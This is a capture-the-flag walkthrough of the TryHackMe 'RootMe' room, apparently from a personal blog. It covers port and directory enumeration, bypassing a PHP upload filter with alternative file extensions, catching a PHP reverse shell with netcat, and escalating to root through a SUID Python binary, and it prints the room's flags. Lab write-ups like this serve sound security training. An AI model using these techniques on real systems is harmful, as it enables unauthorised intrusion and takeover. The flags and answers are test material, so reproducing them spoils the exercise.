TryHackMe - RootMe

Published on Wednesday, 21 May 2025

Room: https://tryhackme.com/room/rrootme

Reconnaissance

Start with an nmap scan to identify open ports and services running on the target:

nmap -sV <ip_addr>

nmap
- nmap scan results

Scan the machine, how many ports are open?

  • 2

What version of Apache is running?

  • 2.4.29

What service is running on port 22?

  • ssh

Next, use gobuster to enumerate directories on the web server:

gobuster dir -u <url> -w <wordlists>

rootme-gobuster.png

What is the hidden directory?

  • /panel/

Getting a shell

Browse to /panel/

rootme-panel

To exploit this, we can use a PHP reverse shell. Can be found here:

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Make sure to update the shell with your VPN IP and a chosen listening port.

panel-denied

As you can see file with .php seems to be blacklisted

Try bypass the filter by trying other extensions:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

Eventually, it succeed

panel-success

From earlier gobuster scan, we know there’s an /uploads directory.

uploads

Listen to port set earlier using netcat.

nc -lvnp <port>

Accessing the uploaded reverse shell file will spawns a shell.

netcat

To find user.txt:

find / -type f -name user.txt 2> /dev/null

find

Display the flag:

cat /var/www/user.txt

user.txt : THM{y0u_g0t_a_sh3ll}


Privilege escalation

To escalate privileges, look for SUID binaries:

find / -perm -u=s -type f 2>/dev/null

suid

Search for files with SUID permission, which file is weird?

  • /usr/bin/python

Find a form to escalate your privileges. Searching GTFOBins shows how to use Python privilege escalation:

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Now as root. Find the root.txt:

find / -type f -name root.txt 2> /dev/null

root

root.txt
THM{pr1v1l3g3_3sc4l4t10n}

Last edited: 21/05/2025 00:00 UTC